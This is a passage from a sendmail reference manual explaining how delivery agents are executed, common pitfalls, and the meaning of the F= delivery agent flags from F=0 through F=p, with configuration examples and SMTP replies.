Here, agent is the full path of the delivery agent as specified in the P= equate (see Section 30.4.9). The argument vector (contents of the A= equate with all the macros expanded and all the recipients added) is passed as argv. The environment is that originally given to sendmail, massaged for security and augmented by the E= configuration command (see Section 22.2.1).

Previous: 30.5 Internally Defined Names | sendmail | Next: 30.7 Pitfalls
30.5 Internally Defined Names | Book Index | 30.7 Pitfalls


[Chapter 30] 30.7 Pitfalls

sendmailSearch this book
Previous: 30.6 How Executed Chapter 30
Delivery Agents 		Next: 30.8 Alphabetized F= Flags

30.7 Pitfalls

  • The F=f and F=r flags are similar in their implementation but can differ in their result. Consider, for example, the SunOS 4.x version of /bin/mail. That program expects the -r command-line argument to specify the sender's name. Setting the F=r flag correctly causes mail to be seen as being from the sender (-r sender), but mistakenly using the F=f flag invokes /bin/mail with -f sender instead. This fails, because the SunOS 4.x version of /bin/mail expects the -f command-line argument to mean that it should interactively read mail from the mailbox named sender.

  • The F=C flag can cause problems when it is specified for delivery agents for which the @domain form of address is inappropriate. This flag should be avoided for DECNET and the local delivery agents.

  • A common problem with SysV versions of /bin/mail is its annoying habit of prepending a "From " line to the beginning of each message, even if one is already there. This confuses users, because it makes their mail appear to come from uucp or daemon instead of the real sender. The problem stems from the fact that the SysV /bin/mail lacks a -r command-line argument (or its equivalent) to indicate who the sender is. Instead, that program assumes that the sender's identity can be taken from the identity of the person who ran the program. This works correctly with local mail; but when mail comes in from the outside world, /bin/mail is being run by root, daemon, or uucp. The best fix is to get a newer /bin/mail [15] from one of the many anonymous FTP sites. A less satisfactory fix is to delete the F=n flag from the appropriate (usually local) delivery agent. This leaves two "From " lines, the second prefixed with a > character (the correct line).

    [15] The BSD /bin/mail requires considerable hacking to get it to work on a SysV machine. Alternatives are deliver, the mh suite's slocal, and mail.local that is supplied with the sendmail source distribution.

  • Never use either the F=f or F=r flags with the prog delivery agent. That delivery agent usually runs programs by evoking the Bourne shell, which misinterprets either flag. The -f command-line argument tells /bin/sh to disable filename generation. The -r command-line argument is unknown to /bin/sh. Both command-line arguments produce the wrong result.

Previous: 30.6 How Executed | sendmail | Next: 30.8 Alphabetized F= Flags
30.6 How Executed | Book Index | 30.8 Alphabetized F= Flags


[Chapter 30] 30.8 Alphabetized F= Flags

sendmailSearch this book
Previous: 30.7 Pitfalls Chapter 30
Delivery Agents 		Next: 31. Defined Macros

30.8 Alphabetized F= Flags

In this section we detail each of the delivery agent flags. The complete list is shown in Table 30.8. They are presented in alphabetical order. Lowercase letters precede uppercase letters for each flag.

When configuring with the m4 technique, you should consult Table 30.2 in Section 30.4.5.1, "m4 modification of F=", to determine which flags are set by default for which delivery agents.

Table 30.8: Delivery Agent F= Flags
Flag |  | Meaning
0 | Section 30.8.1 | Turn off MX lookups for delivery agent (V8.8 and above)
3 | Section 30.8.2, F=3 | Extend quoted-printable to EBCDIC (V8.7 and above)
5 | Section 30.8.3, F=5 | Use rule set 5 after local aliasing (V8.7 and above)
7 | Section 30.8.4, F=7 | Strip the high bit when delivering (V8.6 and above)
8 | Section 30.8.5, F=8 | Suppress EightBitMode=m MIME encoding (V8.7 and above)
9 | Section 30.8.6, F=9 | Convert 7- to 8-bit if appropriate
: | Section 30.8.7, F=: | Check for :include: files (V8.7 and above)
| | Section 30.8.8, F=| (vertical bar) | Check for |program addresses (V8.7 and above)
/ | Section 30.8.9, F=/ (forward slash) | Check for /file addresses (V8.7 and above)
@ | Section 30.8.10, F=@ | User can be User Database key (V8.7 and above)
a | Section 30.8.11, F=a | Run extended SMTP protocol (V8.6 and above)
A | Section 30.8.12, F=A | User can be LHS of an alias (V8.7 and above)
b | Section 30.8.13, F=b | Add a blank line after message (V8.6 and above)
c | Section 30.8.14, F=c | Exclude comment from $g in headers (V8.6 and above)
C | Section 30.8.15, F=C | Add @domain to recipient
d | Section 30.8.16, F=d | Never enclose route addresses in <> (V8.7 and above)
D | Section 30.8.17, F=D | Need Date: in header
e | Section 30.8.18, F=e | Mark expensive delivery agents
E | Section 30.8.19, F=E | Change extra From into >From
f | Section 30.8.20, F=f | Delivery agent adds -f to argv
F | Section 30.8.21, F=F | Need From: in header
g | Section 30.8.22, F=g | Suppress From:<> (V8.6 and above)
h | Section 30.8.23, F=h | Preserve uppercase in hostname
i | Section 30.8.24, F=i | Do UDB sender rewrite on envelope (V8.7 and above)
I | Section 30.8.25, F=I (uppercase i) | Send SMTP VERB to other site
j | Section 30.8.26, F=j | Perform UDB rewrite of header recipient addresses (V8.7 and above)
k | Section 30.8.27, F=k | Don't check for loops in HELO command (V8.7 and above)
l | Section 30.8.28, F=l (lowercase L) | Delivery agent is local (final) delivery
L | Section 30.8.29 | Specify SMTP line limits (Obsolete)
m | Section 30.8.30, F=m | Multiple recipients possible
M | Section 30.8.31, F=M | Need Message-ID: in header
n | Section 30.8.32, F=n | Don't use UNIX-style From in header
o | Section 30.8.33 | Always run delivery agent as recipient (V8.7 and above)
p | Section 30.8.34, F=p | Process return path correctly (deprecated)
P | Section 30.8.35, F=P | Need Return-Path: in header
q | Section 30.8.36, F=q | 250 versus 252 return for SMTP VRFY (V8.8 and above)
r | Section 30.8.37, F=r | Delivery agent adds -r to argv
R | Section 30.8.38, F=R | Use a reserved TCP port (V8 only)
s | Section 30.8.39, F=s | Strip quotation marks
S | Section 30.8.40 | Assume specified uid and gid (Revised for V8.7)
u | Section 30.8.41, F=u | Preserve uppercase for username
U | Section 30.8.42, F=U | Use UNIX-style From line
w | Section 30.8.43, F=w | Check for /etc/passwd entry (V8.7 and above)
x | Section 30.8.44, F=x | Need Full-Name: in header
X | Section 30.8.45, F=X | Delivery agent needs RFC821 hidden dot

30.8.1 F=0

Turn off MX lookups for delivery agent

(V8.8 and above)

During the delivery phase of a message, sendmail looks up the destination hostname with DNS and (possibly) redirects delivery to MX hosts, if present. One way (but not the best way) to suppress that MX lookup is to surround the destination hostname with square brackets. An unfortunate side effect of this technique is that the square brackets are included in the envelope of the message:

RCPT To:<user@[mail.us.edu]>

The F=0 flag is a better way to suppress MX lookups. For an example of one use for this flag, consider the nullclient feature from Section 19.6.20, FEATURE(nullclient).

FEATURE(`nullclient',`mail.us.edu')

Here, all mail will be forwarded to mail.us.edu; but because mail.us.edu is not surrounded by square brackets, its MX records will be looked up for delivery. This may not be desirable, because the hostname in the envelope will change depending on which MX record is selected. To suppress those MX lookups, we can surround the address with square brackets:

FEATURE(`nullclient',`[mail.us.edu]')

But this has the unfortunate side effect of adding the bracketed name [mail.us.edu] to the outgoing envelope. If, instead, the brackets are omitted and the F=0 flag is added, we achieve the same MX suppression effect and send out a legal envelope:

define(`SMTP_MAILER_FLAGS', `0')
FEATURE(`nullclient',`mail.us.edu')

A better way to achieve the same effect is to define a new delivery agent and use that with the nullclient feature:

FEATURE(`nullclient',`nomxsmtp:mail.us.edu')
LOCAL_CONFIG
Mnomxsmtp, P=[IPC], F=0mDFMuX, S=11/31, R=21, E=\r\n, L=990, T=DNS/RFC822/SMTP, A=IPC $h

                     note

This second approach is much better for the various ..._RELAY features.

The F=0 flag is suitable only for configurations like the nullclient. It can be extremely dangerous to use it with any other delivery agents, because it can cause necessary MX lookups to be skipped.

30.8.2 F=3

Extend quoted-printable to EBCDIC

(V8.7 and above)

When sendmail is required to convert a message body into quoted-printable form as determined by the EightBitMode (8) option (see Section 34.8.22), it ordinarily converts only those characters that are required by RFC1521. Unfortunately, mail that is transmitted to some IBM machines (specifically those that speak EBCDIC instead of ASCII) can become garbled because of the way EBCDIC represents (or fails to represent) certain characters. Those characters are

! " # $ @ \ [  ] ^ ` { | } ~

When sending MIME mail to such sites, you should probably set the F=3 flag for any delivery agents that handle those sites. Setting this flag tells sendmail to encode those characters, in addition to those normally encoded, using quoted-printable.

Note that sendmail does this encoding only if 8-bit characters appear in the message. This flag solves one EBCDIC problem but should not be thought of as a general solution for all EBCDIC problems.

30.8.3 F=5

Use rule set 5 after local aliasing

(V8.7 and above)

Prior to V8.7 sendmail, only the local delivery agent could cause rule set 5 to be called (see Section 29.7, "Rule Set 5"). Rule set 5 is called after aliasing and before forwarding, and can be used to select a new delivery agent. Beginning with V8.7, any delivery agent with the F=A flag set (see Section 30.8.12) can cause an address to be looked up in the aliases(5) file. Therefore any delivery agent that has the F=A and F=5 flag set will cause rule set 5 to be called as though the agent were the local delivery agent.

In configuration files prior to Version 6 (see Section 27.5, "The V Configuration Command") this flag is automatically set for the local delivery agent. Note that addresses that (perhaps artificially) begin with an @ character cause rule set 5 to be skipped (see Section 29.7).

30.8.4 F=7

Strip the high bit when delivering

(V8.6 and above)

Under old versions of sendmail, all lines of text output by sendmail (including the header and body of a message) automatically have the high bit cleared (zeroed) for every character. This behavior remains unchanged under V8 sendmail for configuration file versions 2 or less (see Section 27.5). But with version 3 and above configuration files, the message body is transmitted with the high bit intact by default. For those delivery agents that should not allow 8-bit data to be transmitted, you may use the F=7 flag to force the old behavior.

Beginning with V8.7, the F=7 flag can be used to suppress certain kinds of MIME conversions. For example, if the EightBitMode (8) option (see Section 34.8.22) is set to p (pass 8) and if the message contains 8-bit MIME data in its body, this F=7 flag will force sendmail to bounce the message with the following SMTP error, to put 5.6.3 (see RFC1893) in its DSN status, and to exit with EX_DATAERR:

554 Cannot send 8-bit data to 7-bit destination

Note that F=7 affects only the message body. Headers always have the high bit cleared.

30.8.5 F=8

Suppress EightBitMode=m MIME encoding

(V8.7 and above)

Beginning with V8.7 sendmail, you can set the EightBitMode (8) option (see Section 34.8.22) to m (mimefy) to force all unlabeled 8-bit mail to be converted into MIME labeled mail.

You can suppress this conversion for particular delivery agents by specifying the F=8 flag. This form of suppression has the effect of setting the EightBitMode (8) option to p (pass 8) for an individual delivery agent.

30.8.6 F=9

Convert 7- to 8-bit if appropriate

(V8.8 and above)

The F=9 flag cause the MIME message body of a delivered message to be converted back from either quoted-printable or base64 into its original 8-bit form. The F=9 flag is effective only if sendmail was compiled with MIME7TO8 defined (see Section 18.8.21, MIME7TO8).

Conversion works only on single-part MIME messages. If the Content-Transfer-Encoding: header type is base64, conversion is done from base64 to 8-bit. Otherwise, if the Content-Transfer-Encoding: header type is quoted-printable, then conversion is done from quoted-printable to 8-bit. If the Content-Transfer-Encoding: header type is neither, no conversion is done. The conversion process can be watched with the -d43.3 debugging switch (see Section 37.5.151, -d43.3).

30.8.7 F=:

Check for :include: files

(V8.7 and above)

Prior to V8.7 sendmail, only the local delivery agent could recognize the :include: directive for creating mailing lists (see Section 25.2, ":include: Mailing Lists").

Beginning with V8.7, any delivery agent can be made to recognize the :include: directive by setting the F=: flag (or to ignore it by not setting the F=: flag). This flag allows you to design a local delivery agent without :include: support or local-type clones with :include: support. In configuration files prior to Version 6 (see Section 27.5) this flag is automatically set for the local delivery agent.

This flag is only legal for addresses contained in aliases(5) databases or ~/.forward files. Any :include: address in an SMTP dialog or on the command-line will be rejected.

30.8.8 F=| (vertical bar)

Check for |program addresses

(V8.7 and above)

Prior to V8.7 sendmail, only the local delivery agent could recognize the | character as a directive to pipe the mail message through a program. (See Section 24.2.3, "Delivery via Programs" and Section 25.7.4, "Piping Through Programs".)

Beginning with V8.7, any delivery agent can be made to accept the leading | character. If the F=| flag is present, the delivery agent will accept the leading | character and call the prog delivery agent to pipe the message through a program. If the flag is absent, this ability to pipe is prohibited. In general, the F=| flag should be present for the local and local-clone delivery agents but absent for all others. In configuration files prior to Version 6 (see Section 27.5) this flag is automatically set for the local delivery agent.

This flag is only legal for addresses contained in aliases(5) databases or ~/.forward files. Any |program address in a SMTP dialog or on the command-line will be rejected.

30.8.9 F=/ (forward slash)

Check for /file addresses

(V8.7 and above)

Prior to V8.7 sendmail, only the local delivery agent could recognize a leading / character as a directive to append the mail message to a file. (See Section 24.2.2 and Section 25.7.3, "Appending to Files".)

Beginning with V8.7, any delivery agent can be made to accept the leading / character. If the F=/ flag is present, the delivery agent will accept a leading / character and call the *file* delivery agent to append the mail message to a file. If the flag is absent, this ability to append is prohibited. In general, the F=/ flag should be present for the local and local-clone delivery agents but absent for all others. In configuration files prior to Version 6 (see Section 27.5), this flag is automatically set for the local delivery agent.

This flag is only legal for addresses contained in aliases(5) databases or ~/.forward files. Any /file address in an SMTP dialog or on the command-line will be rejected.

30.8.10 F=@

User can be User Database key

(V8.7 and above)

If V8.7 or above sendmail has been compiled with User Database support (see Section 33.5, "The User Database"), specifying this flag for a delivery agent causes the delivery agent to perform User Database lookups for each address it handles. For sender header and envelope addresses, a User Database mailname keyword is used to perform reverse aliasing. For recipient envelope addresses, a User Database maildrop keyword is used to perform additional forward aliasing. Note that any address with a leading @ character (in the $: part of the triple returned by rule set 0) causes User Database lookups to be skipped. Also note that the absence of an F=i flag (Section 30.8.24) suppresses User Database rewriting of the envelope sender.

If the F=@ flag is present, the delivery agent will try to use the User Database. If the F=@ flag is absent, all User Database lookups are skipped. In general, this flag should be present for the local and local-clone delivery agents but absent for all others. In configuration files prior to Version 6 (see Section 27.5) this flag is automatically set for the local delivery agent.

30.8.11 F=a

Run extended SMTP protocol

(V8 and above)

Most versions of sendmail run only basic SMTP (Simple Mail Transfer Protocol) defined in RFC821. In 1993 that service was extended by RFC1425 to become Extended SMTP (or ESMTP). Beginning with V8 sendmail, you can enable a delivery agent to use ESMTP by specifying the F=a flag. This causes sendmail to first try to use the extended form of the HELO command, called EHLO. If that fails to be acknowledged as okay, sendmail tries again with nonextended SMTP. If the initial inbound greeting includes a line containing the word ESMTP, the F=a flag is assumed.

30.8.12 F=A

User can be LHS of an alias

(V8.7 and above)

Prior to V8.7 sendmail, only the local delivery agent could cause addresses to be looked up in the aliases(5) database (see Section 24.1.2, "Local Must Be Local"). Beginning with V8.7 sendmail, any delivery agent that has an F=A flag set will cause its $: address to be looked up on the left-hand side of the aliases(5) file.

For example, the F=A flag can be used to design a local-clone delivery agent that recognizes certain nonlocal addresses as local for aliasing purposes: [16]

[16] This example is somewhat contrived because the same thing can be done in a more versatile manner with the mailertable feature (see Section 19.6.14, FEATURE(mailertable)).

R$+ <@ FIRE.WALL>     $#firelocal $: $1@fire.wall

This allows an alias file like the following to legally exist:

George.Washington@fire.wall:   gw@internal.net

As a safety net (and if the F=5 flag is also specified), any address that is not found in the aliases(5) database will be passed to rule set 5 (see Section 29.7), where another delivery agent can be selected.

In configuration files prior to Version 6 (see Section 27.5) the F=A flag is automatically set for the local delivery agent.

30.8.13 F=b

Add a blank line after message

(V8.6 and above)

Some UNIX mailbox formats require a blank line at the end of one message and before the start of the next message. If your local version of /bin/mail does not assure one, you may use the F=b flag. If this flag is specified and if the message being sent to the delivery agent lacks a blank line at the end, sendmail adds one. This flag is also appropriate for use with the *file* delivery agent.

30.8.14 F=c

Exclude comment from $g in headers

(V8.6 and above)

Ordinarily, sendmail tries to preserve all RFC822 comments in sender addresses (see Section 35.3.4, "Comments in the Header Field"). But beginning with V8.7, RFC822 comments can be be stripped by setting this F=c flag. (An RFC822 comment is one in parentheses or text outside angle brackets.) The sender address, always without a comment and stripped of angle brackets, is placed into $g (see Section 31.10.16, $g) and is used with the -f or -r arguments to A= (see Section 30.8.37). In assembling headers, the comment is ordinarily restored to $g; but if this F=c flag is set, the comment is left out.

The main use for this flag is to supply just the address to programs that cannot handle anything else. Another use might be to suppress disclosure of potentially proprietary information. By adding F=c to the smtp delivery agent, for example, you can cause sender headers that are defined with $g to go out without RFC822 comments:

From: George Washington (The Prez!) <CX75G@fire.wall>      <-  without F=c
From: CX75G@fire.wall                                      <-  with F=c

Note that this does no good at all if users send out mail with disclosing headers already present or if they give out information in signature lines.

30.8.15 F=C

Add @domain to recipient

(All versions)

The F=C flag causes sendmail to append an @domain extension to any recipient address that lacks one. The @domain that is added is copied from the envelope sender's address.

This F=C flag is not looked for in the delivery agent definition that was selected to send the message. Rather, it is looked for in the delivery agent that would be selected if the sender were the recipient (as in the case of bounced mail).

To illustrate, consider the following mail:

From: bill@oursite.edu
To: john@remotesite.gov, alice

The recipient address alice lacks an @domain specification. The sendmail program processes the envelope sender address bill@oursite.edu to decide on a delivery agent definition that can be used if this mail needs to be returned. If that envelope sender's return mail delivery agent has the F=C flag set, then the @oursite.edu part of the envelope sender's address is appended to alice:

From: bill@oursite.edu
To: john@remotesite.gov, alice@oursite.edu

The F=C flag is traditionally used for the smtp class of delivery agent that is supposed to always supply an @domain part for all addresses.

Note that the domain part of the envelope sender is used. In our example the envelope and header sender are the same.

30.8.16 F=d

Never enclose route addresses in <>

(V8.7 and above)

Ordinarily, V8 sendmail forces envelope-sender route addresses [17] to be enclosed in angle brackets. But beginning with V8.7 sendmail, angle brackets can be omitted by specifying F=d.

[17] Also see the DontPruneRoutes option in Section 34.8.20, DontPruneRoutes (R) and how route addresses are handled in rules in Section 29.4.3, "Handling Routing Addresses".

Under some circumstances it is possible for these angle-bracketed addresses to be given to a shell, causing them to be wrongly viewed as IO redirection. This problem is most common with the UUCP delivery agents.

30.8.17 F=D

Need Date: in header

(All versions)

The F=D flag is used by sendmail.cf header commands to force the inclusion of date information:

H?D?Resent-Date: $a
H?D?Date: $a

The F=D flag has no special internal meaning to sendmail. It is a convention that is used only in the assorted Date: header (see Section 35.10.10, Date:) definitions. See Section 30.4.5 for a general description of this process.

30.8.18 F=e

Mark expensive delivery agents

(All versions)

The sendmail.cf HoldExpensive (c) option (see Section 34.8.29, HoldExpensive (c)) tells sendmail not to connect to expensive delivery agents. Instead, mail destined for those agents is queued for later delivery. This F=e flag marks a delivery agent as expensive.

For example, consider a site connected to the Internet over a dial-on-demand ISDN link that costs lots of money per minute. Such a site might want all the Internet mail to be queued and would arrange for that queue to be processed only once every other hour.

Under V8 sendmail, verbose output (watch delivery) cancels the effect of the F=e flag (suppresses queueing). [18] Verbose output is set with the -v command line switch (see Section 36.7.41, -v) or the Verbose (v) option (see Section 34.8.76).

[18] According to Eric Allman, "It's assumed that if you say you want to watch delivery, you really want to watch it."

30.8.19 F=E

Change extra From into >From

(All versions)

All UNIX mail-reading programs, such as /usr/ucb/Mail, require that each mail message in a file of many mail messages be delimited from the others by a blank line, then a line that begins with the five characters "From ":

and thanks again. - bill                 <-  one message ends
                                          <-  a blank line
From george Fri Apr  6 12:03:45 1996     <-  next message starts

This means that any given mail message may have only one line in it that begins with the five characters "From ". To prevent such lines being improperly fed to such mail delivery agents, sendmail offers the F=E flag. This flag tells sendmail to insert a > character at the front of all but the first such lines found. Consider the following:

From tim@here.us.edu Mon Dec 27 13:00:03 1999

From now on, let's meet on Saturdays instead of Tuesdays
like we discussed.

If the F=E flag is specified for the delivery agent that delivers the above message, sendmail converts it to read

From tim@here.us.edu Mon Dec 30 13:00:03 1996

>From now on, let's meet on Saturdays instead of Tuesdays
like we discussed.

This F=E flag is rarely needed. Usually, the program specified by the local delivery agent definition handles From line conversions. This flag should be used only with delivery agents that handle final local delivery.

You may wish to consider omitting this flag from the prog definition. Omitting it allows a user the option of not transforming "From " lines, by specifying a program in his or her ~/.forward file.

30.8.20 F=f

Delivery agent adds -f to argv

(All versions)

If sendmail is run with a -f command-line argument (see Section 36.7.21, -f and -r) and if the F=f flag is specified, the A= for this delivery agent will have the two additional arguments -f and $g inserted between its argv[0] and argv[1]. For example, if sendmail is run as

/usr/lib/sendmail -f jim host!bill

and if the delivery agent for sending to host is defined as

Muucp, P=/bin/uux, F=fmsDFMhuU, S=13, R=23, A=uux - -r $h!rmail ($u)

then the f in F=fmsDFhuU causes the A= of

A=uux - -r $h@rmail ($u)

to be rewritten as

A=uux -f $g - -r $h@rmail ($u)

Here, $g is jim from the original command line (but rewritten to be a return address relative to the recipient). The original -f argument jim is first rewritten by rule sets 3, 1, and 4. The result of those rewrites is placed into $f. The $f macro is rewritten by rule sets 3, 1, S=, and 4, and the result is placed into $g. ($f and $g are described in Section 31.10.16.)

Note that the F=f and the F=r flags are very similar and easily confused.

30.8.21 F=F

Need From: in header

(All versions)

The F=F flag is used by sendmail.cf header commands to force the inclusion of sender (From) information (see Section 30.4.5):

H?F?Resent-From: $q
H?F?From: $q

The F=F flag has no special internal meaning to sendmail. It is a convention that is used only in the assorted From: header (see Section 35.10.14, From:) definitions. See Section 30.4.5 for a general description of this process.

30.8.22 F=g

Suppress From:<>

(V8.6 and above)

The special address <> is used as the envelope sender when sendmail bounces a mail message. This address is intended to prevent bounced messages from themselves bouncing. Unfortunately, not all configuration files properly handle this form of sender address. The stock SunOS configuration files prior to Solaris 2.3, for example, caused sendmail to enter an endless loop when processing <>. Also, some UUCP implementations get confused when they are executed with command line arguments of:

-f <>

As an interim measure, until all programs learn to correctly handle the <> address, you may use the F=g flag to suppress that address for selected delivery agents. If the F=g flag is set for a delivery agent, it uses the value of $g (see Section 31.10.16) in place of the <>, where $g contains $n (usually MAILER-DAEMON see Section 31.10.26, $n) with an @ and your domain name appended.

30.8.23 F=h

Preserve uppercase in hostname

(All versions)

Some delivery agents, such as those that deal with files, require that the recipient's hostname be left as is. The hostname portion of the recipient's address is ordinarily converted to all lowercase before being tucked into $h. Specifying the F=h flag tells sendmail to not convert that address to lowercase. [19]

[19] This flag was added specifically to handle the UUCP host named Shasta at Stanford University.

The $h macro (see Section 31.10.17) is usually used with the A= equate of a delivery agent. For example

Muucp, P=/usr/bin/uux, F=msDFMhuU, A=uux - -r $h!rmail ($u)

Here, the h in F=msDFMhuU tells sendmail to leave the $h alone and not to convert the hostname in that defined macro to lowercase.

30.8.24 F=i

Do UDB sender rewrite on envelope

(V8.7 and above)

The F=@ flag (see Section 30.8.10) allows all addresses for a given delivery agent to be rewritten by the User Database (see Section 33.5). The F=i flag either suppresses that rewrite for the sender envelope (if absent) or allows that rewrite for the sender envelope (if present). For example, consider mail from the user jane:

MAIL from: jane           <-  SMTP envelope sender
From: jane                <-  header sender

Now assume that a User Database entry like the following exists:

jane:mailname       Jane.Doe

If the F=i flag is absent but the F=@ flag present, the envelope-sender address will remain unchanged, but the header-sender address will be rewritten by the User Database:

MAIL from: jane           <-  SMTP envelope sender
From: Jane.Doe            <-  header sender

But if the F=i and F=@ flags are both present, the envelope- and header-sender addresses will both be rewritten by the User Database:

MAIL from: Jane.Doe       <-  SMTP envelope sender
From: Jane.Doe            <-  header sender

No matter how the envelope-sender address is rewritten (with or without use of the User Database), the result is saved to the S line of the qf file (Section 23.9.14, S line).

30.8.25 F=I (uppercase i)

Send SMTP VERB to other site

(All versions)

The F=I flag tells the local sendmail to send the following VERB [20] SMTP command to the receiving sendmail:

[20] VERB is defined in RFC1700.

VERB				  <-  ours sends
200 Verbose mode			  <-  recipient replies

The VERB SMTP command causes the receiving sendmail to go into verbose mode and to set its deliver mode to interactive. This has the same effect as would occur if the receiving sendmail had been run with the command-line options -v and -odi set.

The F=I flag is intended as an aid in debugging a remote receiving site's sendmail. The VERB SMTP command causes that remote site to run in verbose mode. By temporarily adding the F=I flag to a delivery agent's definition and then running sendmail locally with the -v command-line argument, you can watch both the local and the remote's verbose output. Each line of the remote site's verbose output will be seen locally prefixed with a 050.

Note that if the PrivacyOptions (p) option on the remote site's sendmail is set to noexpn (see Section 34.8.47, PrivacyOptions (p)), that site's response to the VERB SMTP command will be this rejection:

502 Verbose unavailable

Also note that if the other side is not running sendmail, you may see other errors:

501 No argument given in VERB command.    <-  PMDF V5.0
250 Ok                                    <-  post.office v1.9.1 (but ignores its own Ok)

In both these cases, the request to the other machine to go into verbose mode has failed.

30.8.26 F=j

Perform UDB rewrite of header recipient addresses

(V8.7 and above)

If sendmail was compiled with User Database support (see Section 18.8.54, USERDB) and if that database is being used (see Section 34.8.75, UserDatabaseSpec (U)), you may have sendmail rewrite header recipient addresses using that database. The F=j flag tells sendmail to look up recipient addresses in the User Database (using the mailname keyword). If an appropriate entry is found, it is used in place of the original address in the recipient headers. The process is the same as that described for the F=i flag, except that here it is for recipient headers.

30.8.27 F=k

Don't check for loops in HELO command

(V8.7 and above)

When another host connects to the local host and that other host claims to have the same canonical name as the local host, it should be considered an error. In V8.6 sendmail, setting the CheckLoopBack variable in conf.c determined whether this error was detected. But beginning with V8.7 sendmail, this check is based on the delivery agent. If the F=k flag is absent, the check is done. If the F=k flag is set, the check is skipped.

The check is performed only for SMTP connections. The literal canonical name given in the connecting host's HELO line is compared to the canonical name for the local host. If they are the same, the following error is printed, and the connection is disallowed:

553 host config error: mail loops back to myself             <-  V8.6
553 host config error: mail loops back to me (MX problem?)   <-  V8.7

Here, host is the name of the offending host.

A problem can arise at sites that run two different invocations of sendmail (one for SMTP connections and another for command-line invocation, where each uses a different configuration file). In this instance, when the latter connects to the former, this error may occur. Such sites may find it necessary to set the F=k flag for the delivery agent that handles SMTP connections, usually Msmtp. With an m4 configuration the following command does just that:

define(`SMTP_MAILER_FLAGS',`k')dnl

Note that sendmail must recognize its local hostname among many possible names. See Section 32.5.8, $=w for a discussion of $=w and MX records.

30.8.28 F=l (lowercase L)

Agent performs local (final) delivery

(All versions)

The F=l flag tells sendmail that this delivery agent will be performing final delivery (usually on the local machine). This notification affects sendmail's behavior in three ways.

First, it enables the DSN notify on success mechanism. [21] That is, if the message were received via SMTP with the envelope

[21] This replaces the Return-Receipt-To: header line.

RCPT To: user@here.us.edu NOTIFY=SUCCESS

then sendmail (upon final local delivery) sends back to the original sender an email message acknowledging receipt. This mechanism should be used sparingly.

Second, the F=l flag allows sendmail to ignore any host part of the triple returned by rule set 0. Ordinarily, the $@ operator must appear in the RHS for all delivery agents selected. If no host is selected by $@, sendmail prints this error and bounces the message

554 buildaddr: no host

But since the host is not always needed for final delivery, the presence of the F=l flag tells sendmail to silently ignore a missing host part.

Third, the F=l flag influences how undeliverable mail will be handled. When the ErrorMode (e) option (see Section 34.8.24, ErrorMode (e)) is q (quiet), such mail is usually reported in the sendmail program's exit(2) status (see Section 36.5, "sendmail's exit() Status"). With the F=l flag set, the undeliverable message will instead be appended to ~/dead.letter for a local sender or mailed back for a remote sender.

In general, the F=l flag should always be specified for the local, prog, and *file* delivery agents.

Note that the processing of a user's ~/.forward file is no longer tied to the local delivery agent, nor to this F=l flag. The ability to look in a user's ~/.forward file is now determined by the F=w flag.

30.8.29 F=L

Specify SMTP line limits

(obsolete as of V8.8)

Prior to V8.8 sendmail, this F=L flag caused sendmail to split output lines in the message body so that they did not exceed 990 characters and always caused sendmail to clear the most significant bit of the characters in those lines.

Beginning with V8.8 sendmail, F=L emulates this old behavior under certain conditions. F=L causes sendmail to assign L= a default value of 990, if it is missing one (see Section 30.4.6), and (if the configuration file level is 1 or less) to set the F=7 flag.

30.8.30 F=m

Allow delivery to multiple recipients

(All versions)

Whenever the sendmail program executes the program specified by the P= equate (see Section 30.4.9), that program is given its argv vector as specified by the A= equate (see Section 30.4.1). As the last step in building that argv, sendmail appends one or more recipient addresses.

The decision as to whether it appends one address or many is determined by the F=m flag. If this flag is not specified, the delivery agent is given only one recipient. Otherwise, if it is specified, the delivery agent may be given many recipients. In either case, if there are more recipients than the argv can accept, the delivery agent is rerun as many times as is necessary to handle them all.

Note that sendmail is able to distinguish only between failures involving one, many, or all of the recipients when it is delivering with SMTP. Otherwise, it judges delivery as successful if a zero exit(2) value is returned by a delivery agent. If the delivery agent fails to deliver to one of many recipients, it exits with a nonzero value, and because of that single failure, sendmail will presume that delivery to all recipients failed.

30.8.31 F=M

Need Message-ID: in header

(All versions)

The F=M flag is used by sendmail.cf header commands to force the inclusion of message identification information. (see Section 30.4.5):

H?M?Resent-Message-ID: <$t.$i@$j>
H?M?Message-ID: <$t.$i@$j>

The F=M flag has no special internal meaning to sendmail. It is a convention that is used only in the assorted Message-ID: header (see Section 35.10.19, Message-ID:) definitions. See Section 30.4.5 for a general description of this process.

Note that the Message-ID: header definition should always be included in the sendmail.cf file because packages expect the presence of that header by many software packages.

30.8.32 F=n

Don't use UNIX-style From in header

(All versions)

The UNIX-style mailbox (a single file into which many mail messages are placed) requires that each message be separated from the others by a blank line followed by a line that begins with the five characters "From ":

and thanks again. - bill                    <-  one message ends
                                             <-  a blank line
From george Fri Apr  6 12:03:45 1990        <-  next message starts

Ordinarily, sendmail adds a five-character "From " line to a message if there isn't one. The F=n flag prevents sendmail from doing this. It is intended for use when not dealing with a UNIX-style mailbox.

Note that if the F=U flag is specified (but not F=n), then the five-character "From " header line is created, and the words remote from $g are appended to that line. The F=n flag should always be specified for SMTP delivery agents. The five-character "From " line is not a valid RFC822 header (because it lacks a colon) and is not permitted.

Apart from SMTP, the use of the F=n flag is best determined on a case-by-case basis. Some delivery agents always generate a "From " line, so the F=n flag can be used to avoid duplication. Some delivery agents generate a "From " line only if there is not already one there, so the F=n flag is optional and perhaps best omitted. Some delivery agents never generate a "From " line, yet require one (such as the uux program); for these the F=n flag should always be omitted.

30.8.33 F=o

Always run delivery agent as recipient

(V8.7 and above)

Under certain circumstances, before sendmail delivers to a file or through programs, it may assume the identity (uid and gid) of the controlling user (see Section 24.2.2 for a description of this process). Beginning with V8.7, the F=o flag changes this behavior. Specifying F=o flag causes sendmail to assume the identity of the recipient. Omitting the F=o flag causes sendmail to assume the identity of the controlling user where appropriate.

In version 5 and earlier configuration files (Section 27.5) this flag is automatically set for the prog and *file* delivery agents. Note that the U= equate (see Section 30.4.13), when specified, always overrides the controlling user.

30.8.34 F=p

Process return path per RFC821

(deprecated)

The SMTP mail command normally uses the envelope address for the sender:

MAIL From:<jqp@wash.dc.gov>

If the F=p flag is specified, sendmail instead sends a transformed version of that address. The transformation can take one of two forms, depending on the first character of the envelope address. If that address begins with an @ character, then an @, the local hostname and a comma are prepended to that address to create a legal return path:

<@hub:jqp@wash.dc.gov>
    -v
becomes
    -v
<@ourhost,@hub:jqp@wash.dc.gov>

If the envelope address for the sender does not start with an @ character, then an @, the local hostname, and a colon are prepended to that address:

<jqp@wash.dc.gov> becomes <@ourhost:jqp@wash.dc.gov>

See also the DontPruneRoutes option.

